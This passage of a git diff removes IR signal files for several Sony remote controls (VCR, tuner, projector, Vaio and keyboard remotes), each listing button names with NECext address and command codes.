-protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: search_right -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: tv/vtr -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: fine_up -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: fine_down -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: counter_reset -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 46 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4C 00 00 00 -# -name: input_sel -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4F 00 00 00 -# -name: exe -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 51 00 00 00 -# -name: quick_timer -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 52 00 00 00 -# -name: timer_next -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: timer_clear -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: timer_check -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 64 00 00 00 -# -name: timer_rec -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 65 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir deleted file mode 100644 index 5f3fb79e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 15 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 16 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1D 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1E 00 00 00 -# -name: top-menu -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 22 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 23 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 24 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 2A 00 00 00 -# -name: bookmark/search-menu -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 30 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 42 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 43 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 4D 00 00 00 -# -name: input-select -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 4F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 56 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 57 00 00 00 -# -name: sp/ep -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 58 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 5A 00 00 00 -# -name: repeat/replay -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 5B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 5D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 60 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 61 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 62 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 63 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 65 00 00 00 -# -name: select-video -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 69 00 00 00 -# -name: select-dvd -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 6A 00 00 00 -# -name: muting/zoom -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir deleted file mode 100644 index 47e22a959..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir deleted file mode 100644 index 40041826b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BAND -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0F 00 00 00 -# -name: PRESET+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: PRESET- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir deleted file mode 100644 index a7b3b238c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 15 00 00 00 -# -name: CONTRAST+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 18 00 00 00 -# -name: CONTRAST- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 19 00 00 00 -# -name: COLOR+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1A 00 00 00 -# -name: COLOR- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1B 00 00 00 -# -name: BRIGHT+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1E 00 00 00 -# -name: BRIGHT- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 1F 00 00 00 -# -name: HUE+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 20 00 00 00 -# -name: HUE- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 21 00 00 00 -# -name: SHARP+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 22 00 00 00 -# -name: SHARP- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 23 00 00 00 -# -name: PICTURE_MUTE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 24 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 25 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 29 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 -# -name: RGB_HSIZE -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 47 00 00 00 -# -name: RGB_SHIFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 48 00 00 00 -# -name: ASPECT_SELECT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 4C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 57 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 63 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir deleted file mode 100644 index 210b18ae6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 80 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir deleted file mode 100644 index 12a3ae278..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir deleted file mode 100644 index 6a1cec323..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir +++ /dev/null @@ -1,500 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 20 00 00 00 -# -name: exclamation -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 21 00 00 00 -# -name: doublequote -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 22 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 23 00 00 00 -# -name: dollar -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 24 00 00 00 -# -name: percent -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 25 00 00 00 -# -name: ampersand -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 26 00 00 00 -# -name: apostrophe -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 27 00 00 00 -# -name: open_parenthesis -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 28 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 29 00 00 00 -# -name: asterick -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 2A 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 2B 00 00 00 -# -name: comma -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 2C 00 00 00 -# -name: dash -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 2D 00 00 00 -# -name: period -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 2E 00 00 00 -# -name: slash -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 2F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 39 00 00 00 -# -name: colon -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 3A 00 00 00 -# -name: semicolon -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 3B 00 00 00 -# -name: lessthan -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 3C 00 00 00 -# -name: greaterthan -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 3E 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 3F 00 00 00 -# -name: cap_a -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 41 00 00 00 -# -name: cap_b -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 42 00 00 00 -# -name: cap_c -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 43 00 00 00 -# -name: cap_d -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 44 00 00 00 -# -name: cap_e -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 45 00 00 00 -# -name: cap_f -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 46 00 00 00 -# -name: cap_g -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 47 00 00 00 -# -name: cap_h -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 48 00 00 00 -# -name: cap_i -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 49 00 00 00 -# -name: cap_j -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 4A 00 00 00 -# -name: cap_k -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 4B 00 00 00 -# -name: cap_l -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 4C 00 00 00 -# -name: cap_m -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 4D 00 00 00 -# -name: cap_n -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 4E 00 00 00 -# -name: cap_o -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 4F 00 00 00 -# -name: cap_p -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 50 00 00 00 -# -name: cap_q -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 51 00 00 00 -# -name: cap_r -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 52 00 00 00 -# -name: cap_s -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 53 00 00 00 -# -name: cap_t -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 54 00 00 00 -# -name: cap_u -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 55 00 00 00 -# -name: cap_v -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 56 00 00 00 -# -name: cap_w -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 57 00 00 00 -# -name: cap_x -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 58 00 00 00 -# -name: cap_y -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 59 00 00 00 -# -name: cap_z -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 5A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 61 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 62 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 63 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 64 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 65 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 66 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 67 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 68 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 69 00 00 00 -# -name: KEY_J -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 6A 00 00 00 -# -name: KEY_K -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 6B 00 00 00 -# -name: KEY_L -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 6C 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 6D 00 00 00 -# -name: KEY_N -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 6E 00 00 00 -# -name: KEY_O -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 6F 00 00 00 -# -name: KEY_P -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 70 00 00 00 -# -name: KEY_Q -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 71 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 72 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 73 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 74 00 00 00 -# -name: KEY_U -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 75 00 00 00 -# -name: KEY_V -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 76 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 77 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 78 00 00 00 -# -name: KEY_Y -type: parsed -protocol: NECext -address: 1A 61 00 00 -command: 79 00 00 00 -# -name: KEY_Z -type: 